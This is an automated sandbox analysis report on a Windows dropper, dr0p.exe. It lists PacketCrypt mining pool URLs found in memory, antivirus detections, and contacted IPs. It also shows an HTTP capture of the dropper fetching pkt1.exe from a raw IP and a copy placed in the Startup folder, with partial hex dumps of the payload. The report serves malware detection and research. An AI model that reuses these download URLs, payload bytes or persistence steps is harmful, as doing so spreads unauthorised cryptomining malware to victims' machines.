Source: packetcrypt.exe, 00000006.00000003.2546735475.00000239E3F2A000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2562035582.00000239E3F3F000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2649923389.00000239E3F3C000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2673224837.00000239E3F41000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2651717140.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2662607746.00000239E3F2D000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2547344330.00000239E3F3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submitL
Source: packetcrypt.exe, 00000006.00000003.3404637050.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submith
Source: packetcrypt.exe, 00000006.00000002.4110027580.00000239E124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submitm32
Source: packetcrypt.exe, 00000006.00000003.3404637050.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4110027580.00000239E124C000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3516516814.00000239E3F66000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2766217131.00000239E3F67000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2330920987.00000239E3F4B000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3314559971.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2234579921.00000239E3EC9000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2329814904.00000239E3F67000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2770879271.00000239E3F67000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2547344330.00000239E3F3D000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2331175814.00000239E3F68000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2771207181.00000239E401B000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3813765986.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2329814904.00000239E3F3E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103160808.00000239E3F66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/config.json
Source: packetcrypt.exe, 00000006.00000003.2673079242.00000239E4013000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2771207181.00000239E401B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/config.json-
Source: packetcrypt.exe, 00000006.00000002.4110027580.00000239E124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/config.json/
Source: packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404637050.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3314559971.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/config.json1
Source: packetcrypt.exe, 00000006.00000003.2673122820.00000239E3F69000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2650949600.00000239E3F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/config.json2
Source: packetcrypt.exe, 00000006.00000002.4113525249.00000239E3E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/config.json8

Source	Detection	Scanner	Label	Link
dr0p.exe	42%	ReversingLabs	Win32.Trojan.Crysant
dr0p.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7#	0%	Avira URL Cloud	safe
http://pool.pkt.worldin	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submitL	0%	Avira URL Cloud	safe
http://23.27.51.244/pkt1.exe	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submitK	0%	Avira URL Cloud	safe
http://pool.pkt.world/master)	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submit	0%	Avira URL Cloud	safe
http://master.pkt.world/payg.json	0%	Avira URL Cloud	safe
http://pool.pkt.world/masterTz	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.jsonK	0%	Avira URL Cloud	safe
http://master.pkt.world/pay6	0%	Avira URL Cloud	safe
http://master.pkt.world/payMT	0%	Avira URL Cloud	safe
http://pool.pkt.world/master2	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submit(	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submit;	0%	Avira URL Cloud	safe
http://pool.pkt.world/master&	0%	Avira URL Cloud	safe
http://master.pkt.wo	0%	Avira URL Cloud	safe
http://master.pkt.world/payA	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.json	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submit1	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.jsonw	0%	Avira URL Cloud	safe
http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c425	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.jsony	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submit&	0%	Avira URL Cloud	safe
http://pool.pkt.world/master.json	0%	Avira URL Cloud	safe
http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7	0%	Avira URL Cloud	safe
http://pool.pkt.world/master.jsonX	0%	Avira URL Cloud	safe
http://any.ah.pkt.wor	0%	Avira URL Cloud	safe
http://pool.pkt.worldC:HOMEPATH=	0%	Avira URL Cloud	safe
http://master.pkt.world/payg.json7	0%	Avira URL Cloud	safe
http://pool.pkt.world/master	0%	Avira URL Cloud	safe
http://pool.pkt.world/master/blkinfo_1b2f0c4a3739221fbf80e36dad285b3f61b60e1ff8ab442582de1d9af7630b8	0%	Avira URL Cloud	safe
http://pool.pkt.world	0%	Avira URL Cloud	safe
http://pool.pkt.world/masterT	0%	Avira URL Cloud	safe
http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e99409592	0%	Avira URL Cloud	safe
http://pool.pkt.world/master.jsonv	0%	Avira URL Cloud	safe
http://master.pkt.world/pay=2c	0%	Avira URL Cloud	safe
http://pool.pkt.world/masterdate=2fVS	0%	Avira URL Cloud	safe
http://pool.pkt.world/	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submitm32	0%	Avira URL Cloud	safe
http://pool.pkt.world/masterdate=2	0%	Avira URL Cloud	safe
http://pool.pkt.world/mastern	0%	Avira URL Cloud	safe
http://pool.pkt.world/mastern1	0%	Avira URL Cloud	safe
http://pool.pkt.world/master9	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submith	0%	Avira URL Cloud	safe
http://master.pkt.world/pay11	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.json/	0%	Avira URL Cloud	safe
http://pool.pkt.world/master;	0%	Avira URL Cloud	safe
http://pool.pkt.world/master/blkinfo_526717b753447e06968a08abf68208310e1f5acaa1180a99cbda870ca2f0343	0%	Avira URL Cloud	safe
http://pool.pkd	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.json1	0%	Avira URL Cloud	safe
http://pool.pkt.world/master/blkinfo_e21c206fb56ab02307270f6e5a7a0ada30138fb95f832f7d4b09d83d9cd3a8f	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.json-	0%	Avira URL Cloud	safe
http://any.ah.pkt.worK	0%	Avira URL Cloud	safe
http://master.pkt.world/pay	0%	Avira URL Cloud	safe
http://pool.pkt.F	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.json8	0%	Avira URL Cloud	safe
http://pool.pkt.worldC:	0%	Avira URL Cloud	safe
http://pool.pkt.world/config.json2	0%	Avira URL Cloud	safe
http://pool.pkt.world/masterD	0%	Avira URL Cloud	safe
http://pool.pkt.world/masterbmitn	0%	Avira URL Cloud	safe
http://any.ah.pkt.world/anns/submit?c	0%	Avira URL Cloud	safe
http://pool.pkt.world/blk/submE	0%	Avira URL Cloud	safe
http://pool.pkt.world/master=2;	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool.pkt.world	199.16.240.187	true	false		unknown
any.ah.pkt.world	199.16.240.205	true	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
199.16.240.187	pool.pkt.world	Reserved	397525	ALPHAONE-ASUS	false
23.27.51.244	unknown	United States	18779	EGIHOSTINGUS	false
199.16.240.205	any.ah.pkt.world	Reserved	397525	ALPHAONE-ASUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585312
Start date and time:	2025-01-07 13:57:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dr0p.exe
Detection:	MAL
Classification:	mal76.troj.adwa.winEXE@7/174@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.27.51.244	http://23.27.51.244/dr0p.exe	Get hash	malicious	Unknown	Browse	23.27.51.244/pkt1.exe
23.27.51.244	dr0p.exe	Get hash	malicious	Unknown	Browse	23.27.51.244/mh.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ALPHAONE-ASUS	spc.elf	Get hash	malicious	Unknown	Browse	38.79.86.247
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	45.11.229.132
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	38.79.86.221
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	38.79.86.229
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig, zgRAT	Browse	45.11.229.96
	57lklPjdPc.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	45.11.229.96
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig, zgRAT	Browse	45.11.229.96
	o9OIGsDt4m.exe	Get hash	malicious	Xmrig	Browse	45.11.229.96
	57lklPjdPc.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	45.11.229.96
	temp_script.bat	Get hash	malicious	PureLog Stealer	Browse	45.11.229.96
ALPHAONE-ASUS	spc.elf	Get hash	malicious	Unknown	Browse	38.79.86.247
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	45.11.229.132
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	38.79.86.221
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	38.79.86.229
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig, zgRAT	Browse	45.11.229.96
	57lklPjdPc.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	45.11.229.96
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig, zgRAT	Browse	45.11.229.96
	o9OIGsDt4m.exe	Get hash	malicious	Xmrig	Browse	45.11.229.96
	57lklPjdPc.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	45.11.229.96
	temp_script.bat	Get hash	malicious	PureLog Stealer	Browse	45.11.229.96
EGIHOSTINGUS	http://23.27.51.244/dr0p.exe	Get hash	malicious	Unknown	Browse	23.27.51.244
	https://dreamsmaybachawuradekasa.org/?dococbwt&qrc=ZHlsYW4uZHVmZnk4QHlhaG9vLmNvbQ==	Get hash	malicious	Unknown	Browse	23.27.244.219
	dr0p.exe	Get hash	malicious	Unknown	Browse	23.27.51.244
	armv6l.elf	Get hash	malicious	Unknown	Browse	136.0.151.194
	2.elf	Get hash	malicious	Unknown	Browse	107.164.241.37
	31.13.224.14-mips-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	192.177.167.92
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	166.88.83.119
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	104.253.169.92
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	45.38.212.251
	nabspc.elf	Get hash	malicious	Unknown	Browse	142.252.146.175

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1005840
Entropy (8bit):	6.7186531276890715
Encrypted:	false
SSDEEP:	24576:06dJq30vVE6z8LpeNY+9whtbShFtHVu9yHesCGDUD3I1i:FQ34VEYKaY++tbiHVu9yHFgrt
MD5:	9B2A6ABE569D6BFF344CF07D3DF523A3
SHA1:	2856F7F922F70A44132D02C0723EC2FA91E1FEDB
SHA-256:	099BC112DC645BC4A1FC453E3B4C1FC93A164BFAF69E84C85C2B6EFAC0F7FAAB
SHA-512:	B649400460CF236197ED168702707FB7E81FE4AA3D2542EDC07B1D3E1C520C6ECA54F77F7ABDB2DB297AEA0BC82E7A07ABF99A89CB958FEC138CDEE4FDEC5E79
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...[............." ..... ...................................................0............`...@......@............... ..................................d....*..TQ...0...)...........;..p...........................................................h...H............text............ .................. ..`.data........0.......0..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\Desktop\dr0p.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42445246
Entropy (8bit):	7.8570881105931605
Encrypted:	false
SSDEEP:	786432:Vbn8aqof9w/btha295CIkrysYevnvLe8odU2EGyUh+j3xO7q7w:Vb8aqw92GkSysJvnvafPcBO20
MD5:	5F6CDA0F181FE14E6D395CDB50C37C41
SHA1:	FADDE84250EBDA58F7FF880B5942D7B6ACB494BB
SHA-256:	717FE92A00AB25CAE8A46265293E3D1F25B2326ECD31406E7A2821853C64D397
SHA-512:	C7C127A650508F21C7447184984374395F5DEC259DEAAA381D8CFFFB46E9209340530C0D7187027606F67B8309BEDF7F1EA7A587AD34EDF64BF54649065B9918
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y..N8.DN8.DN8.DG@vDX8.D...EZ8.D...E\8.D...E.8.D>..EF8.D>..EC8.DN8.DF:.D]..E[8.D]..E.:.D]..EO8.D]..DO8.D]..EO8.DRichN8.D........PE..d...!_.g.........."....(..a...1.......\........@.............................p............`..........................................fy......gy.h....p.. s....{..`.............,~....p.T.....................p.(...@Eb.@.............a......dy.`....................text.....a.......a................. ..`.CLR_UEF......a.......a............. ..`.rdata........a.......a.............@..@.data.........y......ty.............@....pdata...`....{..b....z.............@..@.didat..8............n}.............@...Section...... .......p}.............@..._RDATA...2...0...4...r}.............@..@.rsrc... s...p...t....~.............@..@.reloc..,~.........................@..B................................................................................

File type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.200897825709746
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	dr0p.exe
File size:	541 bytes
MD5:	5290766026d3727c3262fd48db6db0a4
SHA1:	59aec8a9c0e6f59bfee7902fbdcb6e3b9932a93b
SHA256:	d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36
SHA512:	0c7a27b3e7e86c3a93085c991caa7c781cf96239ddf7e7a5842402b5539d8b35ea695ecbc654d28aa3f502b5827620d38717ac65bc508e644dd2b69b32bb07b9
SSDEEP:	6:6KJAMslZy5BtIROZYlE+ltS+E20TtLRgEz4YtlWdps+pNsWi/WJMQBVkOiWy48AV:6zsqplcTBCENMdplQRwr8qXAs1
TLSH:	8FF0E1B5242DACC688B2ED2004C65A4516B8E3DC7481053A97EAA4619881845966E0C5
File Content Preview:	MZ23PE..L.....-..@...E.,......`....2.ukNO1..d.....r.u..Z..@.............y.....P=.....w..0...Z\|......S...B.j.X1...Wj.Yj.=....j...e$...`..1...t$(N..au.@B..r.........F9........V$=....t..F ....aK..r.u.[f..........Z9.r..).).....G....1........@..l.....x........

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dr0p.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.CSharp.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.VisualBasic.Core.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.VisualBasic.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.Win32.Primitives.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.Win32.Registry.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\PacketCryptApp.deps.json

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\PacketCryptApp.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\PacketCryptApp.runtimeconfig.json

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.AppContext.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Buffers.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Collections.Concurrent.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Collections.Immutable.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Collections.NonGeneric.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Collections.Specialized.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.Collections.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.ComponentModel.Annotations.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.ComponentModel.DataAnnotations.dll

C:\Users\user\AppData\Local\Temp\.net\pkt1\904\System.ComponentModel.EventBasedAsync.dll

Windows Analysis Report
dr0p.exe

Entrypoint:	0x400064
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE
DLL Characteristics:
Time Stamp:	0xE22DA30F [Fri Mar 31 11:07:59 2090 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	49153
OS Version Minor:	49285
File Version Major:	49153
File Version Minor:	49285
Subsystem Version Major:	49153
Subsystem Version Minor:	49285
Import Hash:

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 13:58:37.904792070 CET	192.168.2.4	1.1.1.1	0x686f	Standard query (0)	pool.pkt.world	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.159152031 CET	192.168.2.4	1.1.1.1	0x9667	Standard query (0)	any.ah.pkt.world	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 13:58:37.913866997 CET	1.1.1.1	192.168.2.4	0x686f	No error (0)	pool.pkt.world	199.16.240.187	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:37.913866997 CET	1.1.1.1	192.168.2.4	0x686f	No error (0)	pool.pkt.world	23.147.168.200	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:37.913866997 CET	1.1.1.1	192.168.2.4	0x686f	No error (0)	pool.pkt.world	151.80.239.86	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	199.16.240.205	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	23.147.168.71	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	199.16.240.197	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	23.147.168.70	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	23.147.168.69	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	199.16.240.207	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	199.16.240.209	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:58:52.166094065 CET	1.1.1.1	192.168.2.4	0x9667	No error (0)	any.ah.pkt.world	23.147.168.68	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:57:59.457601070 CET	96	OUT	GET /pkt1.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 23.27.51.244 Cache-Control: no-cache
Jan 7, 2025 13:57:59.936976910 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 12:57:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 06 Jan 2025 05:15:33 GMT ETag: "287a9be-62b02b7c80797" Accept-Ranges: bytes Content-Length: 42445246 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0a 59 8b 17 4e 38 e5 44 4e 38 e5 44 4e 38 e5 44 47 40 76 44 58 38 e5 44 8d bb e6 45 5a 38 e5 44 8d bb e1 45 5c 38 e5 44 8d bb e0 45 11 38 e5 44 3e b9 e1 45 46 38 e5 44 3e b9 e4 45 43 38 e5 44 4e 38 e4 44 46 3a e5 44 5d bc e6 45 5b 38 e5 44 5d bc ec 45 c3 3a e5 44 5d bc e5 45 4f 38 e5 44 5d bc 1a 44 4f 38 e5 44 5d bc e7 45 4f 38 e5 44 52 69 63 68 4e 38 e5 44 00 00 00 00 00 00 00 00 50 45 00 00 64 86 0a 00 21 5f 11 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 aa 61 00 00 ec 31 00 00 00 00 00 90 fe 5c 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$YN8DN8DN8DG@vDX8DEZ8DE\8DE8D>EF8D>EC8DN8DF:D]E[8D]E:D]EO8D]DO8D]EO8DRichN8DPEd!_g"(a1\@p`fygyhp s{`,~pTp(@Eb@ady`.textaa `.CLR_UEFaa `.rdataaa@@.datayty@.pdata`{bz@@.didat8n}@Section p}@_RDATA204r}@@.rsrc spt~@@.reloc,~@B
Jan 7, 2025 13:57:59.937002897 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d d9 9f 61 00 e9 a8 ea 5c 00 cc cc cc cc 48 8d 0d e9 9f 61 00 e9 98 ea 5c 00 cc cc cc cc b9 20 00 00 00 48 Data Ascii: Ha\Ha\ H<y3AIfL@H@ LHPH@8HuLyHy LyHyH(Jy@Hya7y%'yH
Jan 7, 2025 13:57:59.937012911 CET	1236	IN	Data Raw: 28 c3 cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 f2 0f 10 05 14 b6 79 00 66 0f 2e 05 e4 91 70 00 7a 27 75 25 48 8d 4c 24 30 ff 15 25 c0 61 00 0f 57 c0 f2 48 0f 2a 44 24 30 f2 0f 5e 05 03 91 70 00 f2 0f 11 05 e3 b5 79 00 48 c7 05 60 fd 7a 00 00 00 Data Ascii: (H(yf.pz'u%HL$0%aWHD$0^pyH`zH(3HyHyHyHyHav\H)ah\H)aX\H(tyf.Dpz'u%HL$0aWHD$0^cpCyHz
Jan 7, 2025 13:57:59.937024117 CET	1236	IN	Data Raw: e9 27 e5 5c 00 cc cc cc 48 83 ec 28 41 b8 08 00 00 00 48 8d 15 9f 56 6e 00 48 8d 0d 20 26 7b 00 e8 83 20 52 00 48 8d 0d 1c 9f 61 00 48 83 c4 28 e9 f7 e4 5c 00 cc cc cc 48 83 ec 28 41 b8 02 00 00 00 48 8d 15 0b 16 6d 00 48 8d 0d b0 25 7b 00 e8 53 Data Ascii: '\H(AHVnH &{ RHaH(\H(AHmH%{S RH\aH(\H(H,z\4]HaH(\Hya\Ha\H(H5/z4]HaH(d\HyaX\H\$HL$WH HHI
Jan 7, 2025 13:57:59.937036037 CET	448	IN	Data Raw: 24 70 48 85 c0 74 2c 48 8b 4f 08 48 8b 07 48 89 03 89 6b 08 33 c0 48 89 43 0c 49 8d 46 10 48 89 43 20 49 8b d6 e8 2a c4 00 00 48 89 43 18 45 33 f6 eb 06 45 33 f6 41 8b de 48 89 1f 39 77 10 0f 47 77 10 89 77 10 eb 03 45 33 f6 4c 63 43 0c 48 8b 43 Data Ascii: $pHt,HOHHk3HCIFHC I*HCE3E3AH9wGwwE3LcCHC J4C(SEtIDt$8HL\$@I[8Ik@IsHIA_A^A]A\_H\$Hl$Ht$ WH AHHHi(Hl$0HH9zLtDLIHaHIuw HH
Jan 7, 2025 13:57:59.937046051 CET	1236	IN	Data Raw: d8 03 00 00 e8 4b ce 00 00 90 48 8d 83 88 04 00 00 48 89 44 24 38 48 89 38 48 89 78 08 48 89 78 10 48 89 78 18 48 89 78 20 48 89 78 28 48 89 bb 68 02 00 00 48 89 bb 78 02 00 00 48 8b 0d 42 33 7a 00 48 8b 01 48 8b 40 10 ff 15 6d c2 61 00 48 89 83 Data Ascii: KHHD$8H8HxHxHxHx Hx(HhHxHB3zHH@maHpHWCCC(C8Whx(8HXHH\$@H _
Jan 7, 2025 13:57:59.937068939 CET	1236	IN	Data Raw: 48 8b 11 48 85 d2 74 0d 48 8b 02 48 89 01 48 8b 8e 48 07 00 00 48 39 96 50 07 00 00 75 07 48 89 8e 50 07 00 00 33 ff 48 85 d2 48 0f 45 fa 48 89 5c 24 30 45 33 c9 44 89 4c 24 38 48 85 db 74 13 48 8b cb e8 c8 c5 03 00 41 b9 01 00 00 00 44 89 4c 24 Data Ascii: HHtHHHHH9PuHP3HHEH\$0E3DL$8HtHADL$8LG3HC8Ht%HHXI;tHHHuHuHK8HJXEtHLD$8HHH9SHHH@ +aIEHD$ DpDt$(Eu%HD$ @2ztHl$ H
